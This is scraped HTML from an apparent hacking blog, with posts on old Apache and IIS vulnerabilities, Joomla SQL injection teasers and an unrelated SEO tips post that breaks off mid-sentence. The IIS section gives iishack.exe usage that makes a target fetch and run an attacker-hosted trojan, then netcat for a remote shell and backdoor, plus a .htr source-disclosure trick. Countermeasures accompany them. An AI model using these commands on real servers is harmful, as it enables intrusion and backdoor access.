class="post-header-line-1"></div></div><div class="post-body entry-content" style="line-height: 1.4; position: relative; width: 506px;"><span id="6923457550510159231"><div><span class="sidebar-title"><b><center>Apache Vulnerability</center></b></span><br /><br /><ul class="itemizedlist" style="line-height: 1.4; list-style-type: disc; margin-bottom: 0.5em; margin-left: 0px; margin-right: 0px; margin-top: 0.5em; padding-bottom: 0px; padding-left: 2.5em; padding-right: 2.5em; padding-top: 0px;"><li class="first-listitem" style="border-bottom-color: transparent; border-bottom-style: none; border-bottom-width: 1px; border-left-style: none; border-right-style: none; border-top-style: none; color: #444444; margin-bottom: 0.25em; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0.25em; padding-left: 0px; padding-right: 0px; padding-top: 0.25em; text-indent: 0px;">  <div class="first-para">The Apache Week tracks the vulnerabilities in Apache Server. Even Apache  has its share of bugs and fixes.</div></li><li class="listitem" style="border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-color: rgb(238, 238, 238); border-top-style: none; border-top-width: 1px; color: #444444; margin-bottom: 0.25em; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0.25em; padding-left: 0px; padding-right: 0px; padding-top: 0.25em; text-indent: 0px;">  <div class="first-para">For instance, consider the vulnerability which was found in the Win32 port of Apache 1.3.20.</div><ul class="simple-list" style="line-height: 1.4; list-style-type: disc; margin-bottom: 0.5em; margin-left: 0px; margin-right: 0px; margin-top: 0.5em; padding-bottom: 0px; padding-left: 2.5em; padding-right: 2.5em; padding-top: 0px;"><li class="first-listitem" style="border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: #444444; margin-bottom: 0.25em; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0.25em; padding-left: 0px; padding-right: 0px; padding-top: 0.25em; text-indent: 0px;">  <div class="first-para">Long URLs passing through the mod_negative, mod_dir and mode_autoindex modules could cause Apache to list directory contents.</div></li></ul><ul class="itemizedlist" style="line-height: 1.4; list-style-type: disc; margin-bottom: 0.5em; margin-left: 0px; margin-right: 0px; margin-top: 0.5em; padding-bottom: 0px; padding-left: 2.5em; padding-right: 2.5em; padding-top: 0px;"><li class="first-listitem" style="border-bottom-color: transparent; border-bottom-style: none; border-bottom-width: 1px; border-left-style: none; border-right-style: none; border-top-style: none; color: #444444; margin-bottom: 0.25em; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0.25em; padding-left: 0px; padding-right: 0px; padding-top: 0.25em; text-indent: 0px;">  <div class="first-para">The concept is simple but requires a few trial runs.</div></li><li class="listitem" style="border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-color: rgb(238, 238, 238); border-top-style: none; border-top-width: 1px; color: #444444; margin-bottom: 0.25em; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0.25em; padding-left: 0px; padding-right: 0px; padding-top: 0.25em; text-indent: 0px;">  <div class="first-para">A URL with a large number of trailing slashes:</div><ul class="simple-list" style="line-height: 1.4; list-style-type: disc; margin-bottom: 0.5em; margin-left: 0px; margin-right: 0px; margin-top: 0.5em; padding-bottom: 0px; padding-left: 2.5em; padding-right: 2.5em; padding-top: 0px;"><li class="first-listitem" style="border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: #444444; margin-bottom: 0.25em; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0.25em; padding-left: 0px; padding-right: 0px; padding-top: 0.25em; text-indent: 0px;">  <div class="first-para">/cgi-bin /////////////////////////// / could produce directory listing of the original directory.</div></li></ul></li></ul></li></ul></div><table border="0" cellpadding="0" cellspacing="0" class="BlankSpace"><tbody><tr><td height="16"></td></tr></tbody></table><div class="para">The purpose of discussing the various vulnerabilities of the web server here is to highlight how ingenious attackers can be in exploring the functionality of the various components that they are able to elicit an unexpected and previously unknown behavior of a piece of code. No matter how insignificant it is, a security breach can have far reaching implications if left unattended.</div><div class="para">This is not the only issue in focus. The possibility of eliminating flawed coding practices and incorporating proper testing must not be ignored as security measures.</div><div class="para">The Apache Week tracks the vulnerabilities in Apache Server. For instance, consider the vulnerability which was found in the Win32 port of Apache 1.3.20. Because of this, a client submitting a very long URI could cause a directory listing to be returned rather than the default index page. This was subsequently fixed in Apache httpd 1.3.22<br /><br /></div><table border="0" cellpadding="0" cellspacing="0" class="note"><tbody><tr><td class="admon-check" valign="top"></td><td class="admon-title" valign="top" width="56"><b>Threat</b></td><td class="admon-body" valign="top"><div class="first-para"><b>Some of the other vulnerabilities have been:</b></div></td></tr></tbody></table><div class="para"><i class="emphasis">Remote DoS via IPv6</i>: When a client requests that proxy ftp connect to an ftp server with IPv6 address, and the proxy is unable to create an IPv6 socket, an infinite loop occurs causing a remote Denial of Service. This has been fixed in Apache httpd 2.0.47</div><div class="para"><i class="emphasis">Remote DoS with multiple Listen directives</i>: In a server with multiple listening sockets a certain error returned by accept () on a rarely access port can cause a temporary denial of service, due to a bug in the prefork MPM. This has been fixed in Apache httpd 2.0.47</div><div class="para"><i class="emphasis">APR remote crash</i>: A vulnerability in the apr_psprintf function in the Apache Portable Runtime (APR) library allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via long strings, as demonstrated using XML objects to mod_dav, and possibly other vectors. This has been fixed in Apache httpd 2.0.46</div><div class="para"><i class="emphasis">Basic Authentication DoS</i>: A build system problem in Apache 2.0.40 through 2.0.45 allows remote attackers to cause a denial of access to authenticated content when a threaded server is used. This has been fixed in Apache httpd 2.0.46</div><div class="para"><i class="emphasis">Line feed memory leak DoS</i>: Apache 2.0 versions before Apache 2.0.45 have a significant Denial of Service vulnerability. Remote attackers can cause a denial of service (memory consumption) via large chunks of linefeed characters, which causes Apache to allocate 80 bytes for each linefeed. This has been fixed in Apache httpd 2.0.45</div><div class="para"><i class="emphasis">MSDOS device names cause DoS</i>: Apache versions before 2.0.44 on Windows do not correctly filter MS-DOS device names which can lead to denial of service attacks and remote code execution. This has been fixed in Apache httpd 2.0.44</div><div class="para"><i class="emphasis">Apache can serve unexpected files</i>: On Windows platforms Apache could be forced to serve unexpected files by appending illegal characters such as '<' to the request URL. This has been fixed in Apache httpd 2.0.44</div><div class="para"><i class="emphasis">Rewrite rules that include references allow access to any file</i>: The Rewrite module, mod_rewrite, can allow access to any file on the web server. The vulnerability occurs only with certain specific cases of using regular expression references in Rewrite Rule directives: If the destination of a Rewrite Rule contains regular expression references then an attacker will be able to access any file on the server. This has been fixed in Apache httpd 1.3.14</div></span><br /></div></span></div><div style="text-align: justify;"></div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">-- </div><div dir="ltr" style="text-align: justify;">Regards,<br />Hardeep Singh<br />(<a href="http://www.fb.com/h4rdeep" target="_blank">www.fb.com/h4rdeep</a>)</div><br /></div>

Apache Vulnerability Web Server Hacking Apache Vulnerability: Hack Apache based Web Servers

Apache Vulnerability: Hack Apache based Web Servers Apache Vulnerability The Apache Week tracks the vulnerabilities in Apache Server. Even...

How Web Servers Work

11/24/2011 cyb3r.gladiat0r 0

How Web Servers Work

How Web Servers Work The browser breaks the URL into three parts: The protocol ("http") The server name (" www.websit...

How to ROOT a Server? Tools & software useful to hack web servers

11/21/2011 cyb3r.gladiat0r 0

<div dir="ltr" style="text-align: left;" trbidi="on"><span class="Apple-style-span" style="background-color: white; color: #444444; font-family: Arial,Tahoma,Helvetica,FreeSans,sans-serif; font-size: 13px; line-height: 18px;"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTMp927sG5wD85vQ6xepBi_XZZh5k_4JtaN3SNthzcdfr6faS5frQPAwIstP87uI-pHzluOvov28iSile20_VjI36__Ns30Z2N4z3Zk_llbels-lVGrfKVeOhxA_OquNO0QNvOACHmXOAm/s1600/unledusi.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTMp927sG5wD85vQ6xepBi_XZZh5k_4JtaN3SNthzcdfr6faS5frQPAwIstP87uI-pHzluOvov28iSile20_VjI36__Ns30Z2N4z3Zk_llbels-lVGrfKVeOhxA_OquNO0QNvOACHmXOAm/s640/unledusi.jpg" width="640" /></a></div><h3 class="post-title entry-title" style="color: #444444; font: bold 22px Arial,Tahoma,Helvetica,FreeSans,sans-serif; margin: 0px; position: relative;"> </h3><h3 class="post-title entry-title" style="color: #444444; font: bold 22px Arial,Tahoma,Helvetica,FreeSans,sans-serif; margin: 0px; position: relative;"> </h3><div class="post-body entry-content" style="line-height: 1.4; position: relative; width: 506px;"><span id="1989002014546550404"><div><span class="sidebar-title"><b><center>Hacking Tool: IISHack.exe</center></b></span><br /><div class="first-para">iishack.exe overflows a buffer used by IIS http daemon, allowing for arbitrary code to be executed.</div><div class="para">c:\ iishack <a href="http://www.yourtarget.com/">www.yourtarget.com</a> 80 <a href="http://www.yourserver.com/thetrojan.exe">www.yourserver.com/thetrojan.exe</a></div><div class="para"><a href="http://www.yourtarget.com/">www.yourtarget.com</a> is the IIS server you're hacking, 80 is the port its listening on, <a href="http://www.yourserver.com/">www.yourserver.com</a> is some webserver with your trojan or custom script (your own, or another), and /thetrojan.exe is the path to that script.</div><div class="para"></div><div class="para">"IIS Hack" is a buffer overflow vulnerability exposed by the way IIS handles requests with .HTR extensions. A hacker sends a long URL that ends with ".HTR". IIS interprets it as a file type of HTR and invokes the ISM.DLL to handle the request. Since ISM.DLL is vulnerable to a buffer overflow, a carefully crafted string can be executed in the security context of IIS, which is privileged. For example, it is relatively simple to include in the exploit code a sequence of commands that will open a TCP/IP connection, download an executable and then execute it. This way, any malicious code can be executed.</div><div class="para">A sample exploit can be constructed as shown below:</div><div class="para">To hack the target site and attacker's system running a web server can use iishack.exe and ncx.exe.</div><div class="para">To begin with, the ncx.exe is configured to run from the root directory. IIShack.exe is then run against the victim site.</div><div class="informalexample"><pre class="literallayout-normal">c:\>iishack.exe  80 /ncx.exe </pre></div><div class="para">The attacker can then use netcat to evoke the command shell</div><div class="informalexample"><pre class="literallayout-normal">c:\>nc  80 </pre></div><div class="para">He can proceed to upload and execute any code of his choice and maintain a backdoor on the target site.</div></div><div><span class="sidebar-title"><b><center>IPP Buffer Overflow Countermeasures</center>  </b></span><br /><ul class="itemizedlist" style="line-height: 1.4; list-style-type: disc; margin: 0.5em 0px; padding: 0px 2.5em;"><li class="first-listitem" style="border-bottom: 1px none transparent; border-style: none; color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;">  <div class="first-para">Install latest service pack from Microsoft.</div></li><li class="listitem" style="border-bottom: 1px none transparent; border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;">  <div class="first-para">Remove IPP printing from IIS Server</div></li><li class="listitem" style="border-bottom: 1px none transparent; border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;">  <div class="first-para">Install firewall and remove unused extensions</div></li><li class="listitem" style="border-bottom: 1px none transparent; border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;">  <div class="first-para">Implement aggressive network egress filtering</div></li><li class="listitem" style="border-bottom: 1px none transparent; border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;">  <div class="first-para">Use IISLockdown and URLScan utilities</div></li><li class="listitem" style="border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;">  <div class="first-para">Regularly scan your network for vulnerable servers</div></li></ul></div><div><div class="para">Without any further explanation, the first countermeasure is obviously to install the latest service packs and hotfixes.</div><div class="para">As with many IIS vulnerabilities, the IPP exploit takes advantage of a bug in an ISAPI DLL that ships with IIS 5 and is configured by default to handle requests for certain file types. This particular ISAPI filter resides in C: \WINNT\System32\msw3prt.dll and provides Windows 2000 with support for the IPP. If this functionality is not required on the Web server, the application mapping for this DLL to .printer files can be removed (and optionally deleting the DLL itself) in order to prevent the buffer overflow from being exploited. This is possible because the DLL will not be loaded into the IIS process when it starts up. In fact, most security issues are centered on the ISAPI DLL mappings, making this one of the most important countermeasure to be adopted when securing IIS.</div><div class="para">Another standard countermeasure that can be adopted here is to use a firewall and remove any extensions that are not required. Implementing aggressive network egress can help to a certain degree.</div><div class="para">With IIS, using IISLockdown and URLScan - (free utilities from Microsoft) can ensure more protection and minimize damage in case the web server is affected.</div><div class="para">Microsoft has also released a patch for the buffer overflow, but removing the ISAPI DLL is a more proactive solution in case there are additional vulnerabilities that are yet to be found with the code.</div></div><div><span class="sidebar-title"><b><center>ISAPI DLL Source disclosures</center></b></span><br /><ul class="itemizedlist" style="line-height: 1.4; list-style-type: disc; margin: 0.5em 0px; padding: 0px 2.5em;"><li class="first-listitem" style="border-bottom: 1px none transparent; border-style: none; color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;">  <div class="first-para">Microsoft IIS 4.0 and 5.0 can be made to disclose fragments of source code which should otherwise be in accessible.</div></li><li class="listitem" style="border-bottom: 1px none transparent; border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;">  <div class="first-para">This is done by appending "+.htr" to a request for a known .asp (or .asa, .ini, etc) file.</div></li><li class="listitem" style="border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;">  <div class="first-para">appending this string causes the request to be handled by ISM.DLL, which then strips the '+.htr' string and may disclose part or all of the source of the .asp file specified in the request.</div></li></ul></div><div><div class="para">IIS supports several file types that require server-side processing. When a web site visitor requests a file of one of these types, an appropriate filter DLL processes it. Vulnerability exists in ISM.DLL, the filter DLL that processes .HTR files. HTR files enable remote administration of user passwords.</div><div class="para">HTR files are scripts that allow Windows NT password services to be provided via IIS web servers. Windows NT users can use .HTR scripts to change their own passwords, and administrators can use them to perform a wide array of password administration functions. HTR is a first-generation advanced scripting technology that is included in IIS 3.0, and still supported by later versions of IIS for backwards compatibility. However, HTR was never widely adopted, and was superceded by Active Server Pages (ASP) technology introduced in IIS 4.0.</div><table border="0" cellpadding="0" cellspacing="0" class="note"><tbody><tr><td class="admon-check" valign="top"></td><td class="admon-title" valign="top" width="120"><b>Attack Methods</b></td><td class="admon-body" valign="top"><div class="first-para"><b class="bold">Exploit / Attack Methodology</b><br /><b class="bold"></b></div><div class="last-para">By making a specially formed request to IIS, with the name of the file and then appending around 230 + " %20 " (these represents spaces) and then appending " .htr " this tricks IIS into thinking that the client is requesting a " .htr " file . The .htr file extension is mapped to the ISM.DLL ISAPI Application and IIS redirects all requests for .htr resources to this DLL.</div></td></tr></tbody></table><div class="para">ISM.DLL is then passed the name of the file to open and execute but before doing this ISM.DLL truncates the buffer sent to it chopping off the .htr and a few spaces and ends up opening the file whose source is sought. The contents are then returned. This attack can only be launched once though, unless the web service started and stopped. It will only work when ISM.DLL first loaded into memory.</div><div class="para"></div><div class="para"><i class="emphasis"><u class="underline">"Undelimited .HTR Request" vulnerability:</u></i> The first vulnerability is a denial of service vulnerability. All .HTR files accept certain parameters that are expected to be delimited in a particular way. This vulnerability exists because the search routine for the delimiter isn't properly bounded. Thus, if a malicious user provided a request without the expected delimiter, the ISAPI filter that processes it would search forever for the delimiter and never find it.</div><div class="para">If a malicious user submitted a password change request that lacked an expected delimiter, ISM.DLL, the ISAPI extension that processes .HTR files, would search endlessly for it. This would prevent the server from servicing any more password change requests. In addition, the search would consume CPU time, so the overall response of the server might be slowed.</div><div class="para">The second threat would be more difficult to exploit. A carefully-constructed file request could cause arbitrary code to execute on the server via a classic buffer overrun technique. Neither scenario could occur accidentally. This vulnerability does not involve the functionality of the password administration features of .HTR files.</div><div class="para"><i class="emphasis"><u class="underline">".HTR File Fragment Reading" vulnerability:</u></i> The ".HTR File Fragment Reading" vulnerability could allow fragments of certain types of files to be read by providing a malformed request that would cause the. HTR processing to be applied to them. This vulnerability could allow a malicious user to read certain types of files under some very restrictive circumstances by levying a bogus .HTR request. The ISAPI filter will attempt to interpret the requested file as an .HTR file, and this would have the effect of removing virtually everything but text from a selected file. That is, it would have the effect of stripping out the very information that is most likely to contain sensitive information in .asp and other server-side files.</div><div class="para">The .htr vulnerability will allow data to be added, deleted or changed on the server, or allow any administrative control on the server to be usurped. Although .HTR files are used to allow web-based password administration, this vulnerability does not involve any weakness in password handling.</div><div class="para"><i class="emphasis"><u class="underline">"Absent Directory Browser Argument" vulnerability:</u></i> Among the default HTR scripts provided in IIS 3.0 (and preserved on upgrade to IIS 4.0 and IIS 5.0) were several that allowed web site administrators to view directories on the server. One of these scripts, if called without an expected argument, will enter an infinite loop that can consume all of the system's CPU availability, thereby preventing the server from responding to requests for service.</div></div></span></div></span><br /><div><br /></div>-- <br /><div dir="ltr">Regards,<br />Hardeep Singh<br />(<a href="http://www.fb.com/h4rdeep" target="_blank">www.fb.com/h4rdeep</a>)</div><br /></div>

How to ROOT a Server? Tools & software useful to hack web servers

Hacking Tool: IISHack.exe iishack.exe overflows a buffer used by IIS http daemon, allowing for arbitrary code to be executed. c:\ iishac...

How to Hack Joomla Website? Joomla SQL Injection Example

11/18/2011 cyb3r.gladiat0r 0

Joomla How to Hack Joomla Website? Joomla SQL Injection Example

The probably most common case for hacked Joomla websites is that a SQL injection vulnerability was exploited. A typical URL which is affecte...

Joomla Component com_question SQL Injection Vulnerability

11/15/2011 cyb3r.gladiat0r 0

Joomla Joomla Component com_question SQL Injection Vulnerability

################################################### # |Title : Joomla (com_question) SQL Injection Vulnerability # |Vendor : http://www.al...

Maximize Ad Revenue on a Website

11/12/2011 cyb3r.gladiat0r 0

Maximize Ad Revenue on a Website

How to Maximize Ad Revenue on a Website Have a website ? Confused on how to make dough through it ? Read on … Contextual advertisers include...

The 10 SEO tips to Optimize your website

11/09/2011 cyb3r.gladiat0r 0

<div dir="ltr" style="text-align: left;" trbidi="on"><span class="Apple-style-span" style="background-color: white; color: #444444; font-family: Arial,Tahoma,Helvetica,FreeSans,sans-serif; font-size: 13px; line-height: 18px;"><h3 class="post-title entry-title" style="color: #444444; font: bold 22px Arial,Tahoma,Helvetica,FreeSans,sans-serif; margin: 0px; position: relative;">The 10 SEO tips to Optimize your website</h3><div class="post-header" style="line-height: 1.6; margin: 0px 0px 1em;"><div class="post-header-line-1"></div></div><div class="post-body entry-content" style="line-height: 1.4; position: relative; width: 506px;"><span id="1348311953489648327">Making a website is easy,but making it survive through the Wild Wild Web is quite a formidable task. I have seen many <img align="right" alt="10 Tips to Optimize your website" border="0" height="104" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgs4yjlR7w-Rri3ZEiwHsgon81qHHC5DJHhObjjjFVmZIrrpNws7tBE-T3S3H8qD1mGgtc7mTmuFtfDiDn44o3hAxmV0kLvnZ7I0Y95P3_0LNimopjM7fjIw4ilb9GX1qJWhWXtgRJbDkE/?imgmax=800" style="background-color: transparent; border: 0px solid transparent; display: inline; margin-left: 0px; margin-right: 0px; padding: 8px;" title="10 Tips to Optimize your website" width="135" />potential websites crumble and vanish through the web in a short span of time,and today I will be sharing my knowledge with you. I have followed the 10 simple rules which have allowed me to get the love of my readers in such a short time and have made ProHack more than a name in the web.These tips will allow you to optimize your website's SEO and guarantee increase in web traffic. These are comprised with the most common mistakes which lead to a website going kaput (oh wait..there are solutions as well :P),and mind it,give it a read and you are good to go with your website.<br /><b><i>Great Content</i></b><br />Great websites drive great traffic by delivering the best they have to offer.Generate great content,if not,recycle great <img align="right" alt="great content helps you Stand out and be unique and drives loads of traffic" border="0" height="127" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgo-9-JHmiFzIuTM09Y0aWLmWR6ij_9R4upROSi_OnHA0QJnkJsK46_NFM16LOEdmYuxSPpK_FYagTtVrisdmAN_aTJc7QhXtvstrTlStwKbxtXW0J15EKfAH4gwBceqorgh54r98FnQyI/?imgmax=800" style="background-color: transparent; border: 0px solid transparent; display: inline; margin-left: 0px; margin-right: 0px; padding: 8px;" title="great content helps you Stand out and be unique and drives loads of traffic" width="165" />content by permission,and do include links to the original article if you are "<i>borrowing</i>" it or "<i>remixing</i>" it. Also,hunt at article sites like Wikipedia,Wikihow,Ehow and keep your digital ears and eyes open for the latest news. Sometime by  getting the fresh news and delivering it first gets you loads of traffic.I blogged about <a href="http://rdhacker.blogspot.com/2009/03/king-of-fighters-12-brought-to-you-by.html" style="color: #3778cd; text-decoration: none;" target="_blank" title="King of Fighters 12 - now brought to you by India"><b>King of Fighters 12</b></a> and<a href="http://rdhacker.blogspot.com/2009/03/resident-evil-5-honest-review.html" style="color: #3778cd; text-decoration: none;" target="_blank" title="Resident Evil 5 - an Honest Review"><b>Resident Evil 5</b></a> almost instantly and was instantly hailed by my dearest readers.Great content helps you to stand out against your competitors.<br />Here is the bottom line –<i></i><br /><blockquote><div align="center"><u>GREAT READABLE CONTENT IS THE SOUL OF A WEBSITE</u></div></blockquote><b><i>Directory submissions</i></b><br />Have a great website ? well you would probably like to get noticed fast,submit your site to <a href="http://www.dmoz.org/" style="color: #3778cd; text-decoration: none;" target="_blank" title="The Open directory project"><b>DMOZ</b></a>,<a href="http://rdhacker.blogspot.com/2008/12/improve-google-page-rank-and-alexa.html" style="color: #3778cd; text-decoration: none;" target="_blank" title="Learn how to improve Alexa ranking and Google Pagerank"><b>Alexa</b></a>,and major<img alt="Submit your site to search engines and directories" border="0" height="150" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqYGA46snPPq2PCWi99X45gd1IjZQNXLYVlblJVql-kOPNbfWnxA0LRWRDTW1wLBxvQ5vv-UsYSoc8L0F0fjomTTNV54mUMqTHbxcFNY4IbJEpqiR7vkGsp96biF3woVuxwmx8dRM5X34/?imgmax=800" style="background-color: transparent; border: 0px solid transparent; display: block; float: none; margin-left: auto; margin-right: auto; padding: 8px;" title="Submit your site to search engines and directories" width="150" />Search  engine players like <a href="http://www.google.com/addurl/" style="color: #3778cd; text-decoration: none;" target="_blank" title="Add your site to google"><b>Google</b></a>,<a href="http://search.yahoo.com/info/submit.html" style="color: #3778cd; text-decoration: none;" target="_blank" title="Submit your site to yahoo"><b>Yahoo</b></a> or you can use automated submission<a href="http://rdhacker.blogspot.com/search/label/Software%20Downloads" style="color: #3778cd; text-decoration: none;" target="_blank" title="Download software at PROHACK - go to software section"><b>software</b></a> and sites like IBP Arelis and more. Include your site to other famous web directories like <a href="http://www.blogcatalog.com/" rel="nofollow" style="color: #3778cd; text-decoration: none;" target="_blank" title="Blog catalog"><b>Blogcatalog</b></a>.Get noticed,get traffic,make money and get paid.<br /><b><i>Meta Madness</i></b><br />Optimize your meta tags and code to reflect what your website does. Meta tags are read by search engines,the grand daddies of the web site mumbo-jumbo so you better be specific. A meta description of 150 words and 12 keywords is <img align="right" alt="Edit meta tags to your  favor" border="0" height="106" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgd8FF_885UesAu4KChFiqVKl5SZkRPJudMMi7pLHtGUkDqk7y9wI8aKJCmTz_m2ygJDCFPXiLGpKygvt9od2hKXChw9dm9yiniZxGgBb4vCoPYwx1fHsW9LIXLPjGySHbzqDjtJFao86o/?imgmax=800" style="background-color: transparent; border: 0px solid transparent; display: inline; margin-left: 0px; margin-right: 0px; padding: 8px;" title="Edit meta tags to your  favor" width="118" />ideal for a website. Be creative and be different. Remember there are a lot of copy cats around so try to be unique and make your site stand out.<br />you can edit the meta description by going to the code and adding the Description,keywords/tags,and author attributes.<br /><blockquote><span style="font-family: Courier New;"><meta content=' Enter your site Description Here ' name=' description'/><br /><meta content=' Enter upto 10-12 Keywords Here ' name='keywords'/><br /><meta content=' Enter Author name Here ' name='author'/></span></blockquote>and add it to the head section of your code.<br /><b><i>Make Them Subscribe</i></b><br />Now you are driving some visitors to your website and are all set to take the big leap. Well make sure you have RSS or <img align="right" alt="The Feed Button - as if you dont know it :P" border="0" height="63" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjAoaaEqyv8-AKUAItjjEOkzbzZS6jYXtVxQ_AxaMotDlq5UjXx3uTKHcAp44fz2wsw5knLQRWq5or5c8FYFLW9MV3AvyCCqWxpdwb8I9b5mu6ivS_1n1byzsSzAc_vmc1oJ7bVe9Qtt1o/?imgmax=800" style="background-color: transparent; border: 0px solid transparent; display: inline; margin-left: 0px; margin-right: 0px; padding: 8px;" title="The Feed Button - as if you dont know it :P" width="63" />ATOM feeds enabled to your blog or website. Its the basic requirement for any website to have an automated system to deliver its updates to its loyal readers. You can use feed integrating services like <i>Feedburner</i> or <i>Feedblitz</i> to cater your feeds to your readers.add this code to your head section of your website -<br /><blockquote><span style="font-family: Courier New;"><link href='<a href="http://www.yourwebsitenamehere.com/rss.xml">http://www.yourwebsitenamehere.com/rss.xml</a>' rel='alternate' title='nameofwebsite' type='application/rss+xml'/></span></blockquote>Add the big Orange button of feed subscription on top of your website,readers tend to click on the infectious orange button for feed subscriptions. Also offer email updates and just never let your website readers go to any other site for the content you offer.<br /><b><i>Keyword Orientation</i></b><br />This is one of the most basic techniques,use your website's main keywords in your content and articles. however be   <img align="right" alt="KEYWORDS ARE THE CORNERSTONE OF YOUR CAMPAIGN" border="0" height="69" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgJuufV8vtc9nO0Ht3QdX8j-DVVHAi_6G0q9Hz-I9rHmqcOnIrwuOscGk6Rk-w06v80AMqeu3dm46yRf38_k244_19cLNIcZFJ5DTNNwze5nPAd7pk6l5sKlIlvX_Lww5-hDS9F0FFaJf0/?imgmax=800" style="background-color: transparent; border: 0px solid transparent; display: inline; margin-left: 0px; margin-right: 0px; padding: 8px;" title="KEYWORDS ARE THE CORNERSTONE OF YOUR CAMPAIGN" width="116" />vary,dont overdo it,else search  engines will consist your site a spam site. However controlled keyword management enables your website to get good search engine rankings as it relates your site to the services you offer. Include keywords in headlines and generate keyword rich relevant content and you will be set to go. Be specific and creative while choosing keywords. You can use phrases if you are short of words.Here is a simple rule -<br /><blockquote><u>KEYWORDS ARE THE CORNERSTONE OF YOUR CAMPAIGN</u></blockquote><b><i>Link Management</i></b><br />Its simple as hell and yet most of people get it wrong.<i><u> DONT MAKE YOUR SITE A LINK FARM</u> <b>.</b></i> Always link to related websites but add a <i>nofollow</i> attribute to it so search engines don't read it. Include <i>inlinks</i>,that is the links to your own website and articles connected using keywords. Make sure to decorate your keywords by adding a title to your keywords<br /><blockquote><i><b>for ex -</b></i></blockquote><blockquote>Wrong Method - Link with no explanation or title<b><i> – </i></b><a href="http://rdhacker.blgospot.com/" style="color: #3778cd; text-decoration: none;" target="_blank"><b><i>PROHACK</i></b></a><br />The correct method of displaying Link <i>- </i><a href="http://rdhacker.blogspot.com/" style="color: #3778cd; text-decoration: none;" target="_blank" title="Prohack - Your technology navigator"><b><i>PROHACK</i></b></a></blockquote>using <i>inlinks</i> have a great plus point,it makes your reader wander in your site and doesn't makes him go away unless your site is short of good content,something which you cant lack in any condition.<br />Also try to get links from other websites as maximum as possible,be an active member in forums,put the link of your website in your forum signature and let it roll.<br /><b><i>The Layout</i></b><br />Make sure your site has a clean layout with ads well hidden and blended in the template.Include your profile link or an <img align="right" alt="Optimise your website according to SEO techniques" border="0" height="116" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-_8il2TkiGUNKjxArza0O4A7Ni2ixz34Wr7EBEw87scR7CA9vipKXhyQ7f_-b0v-QC956f8OQ4QHpcu_MPtRahzHS9T33nfyLMlvraxAkyEKhlAaBS65xu1lmb9itdPzeyxZw9LyQlUE/?imgmax=800" style="background-color: transparent; border: 0px solid transparent; display: inline; margin-left: 0px; margin-right: 0px; padding: 8px;" title="Optimise your website according to SEO techniques" width="150" />about page and brag about yourself (literally).Proper feed subscription buttons and eye soothing color theme has a great mental effect on your visitor.Keep your website aesthetic and have a clean interface for navigation. if your website has a long scrolling problem,cut it short by adjusting height or include a "<i>back to top of page button</i>".  Make your visitors feel right at home when they are your webpage and they will return the favor by visiting again and again and again :) Add ALT and TITLE attributes to images so incase if they are not displayed or rendered by the browser,the reader shall get the idea what was there.Use images to your advantage,use flash only if it is necessary and make sure it loads up well and matches with all available flash versions. I have seen websites pucker and say that I don't have the latest flash version while I was having just one version older. That pissed me off and many others. Don't let it happen to you.<br /><b><i>Convertible traffic</i></b><br />Now here comes the concept of convertible traffic,time is precious and everybody looks for related stuff in order to save time. Save your readers time by offering them related links and articles alongside your article,in that way you will be a great resource and a honeypot for your readers.Convert your traffic to useful bucks by offering them relavent ads well<img alt="Convert web traffic to your whims" border="0" height="135" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNQIBcDHb1T585BVByKDgzCvVNaRH8vOV6ZjHqALSiHifcp55kMq3OCNih29arnOrjoSz23DeBqL0avOiSxUOcDbGQbjnvdfGQ3hkcCeEblVJTrA-GOBsgeOoQmKJuYd_u_4n8swAXphA/?imgmax=800" style="background-color: transparent; border: 0px solid transparent; display: block; float: none; margin-left: auto; margin-right: auto; padding: 8px;" title="Convert web traffic to your whims" width="240" />blended and well placed in the site.Make sure to reply to comments and get feedback from time to time in order to be in touch with your readers.<a href="http://rdhacker.blogspot.com/2009/04/gmail-alerts-on-your-mobile-for-free.html" style="color: #3778cd; text-decoration: none;" target="_blank" title="Get gmail alerts on your mobile for free using Google SMS">SMS</a> your loyal subscribers about your updates using <a href="http://rdhacker.blogspot.com/search/label/Google" style="color: 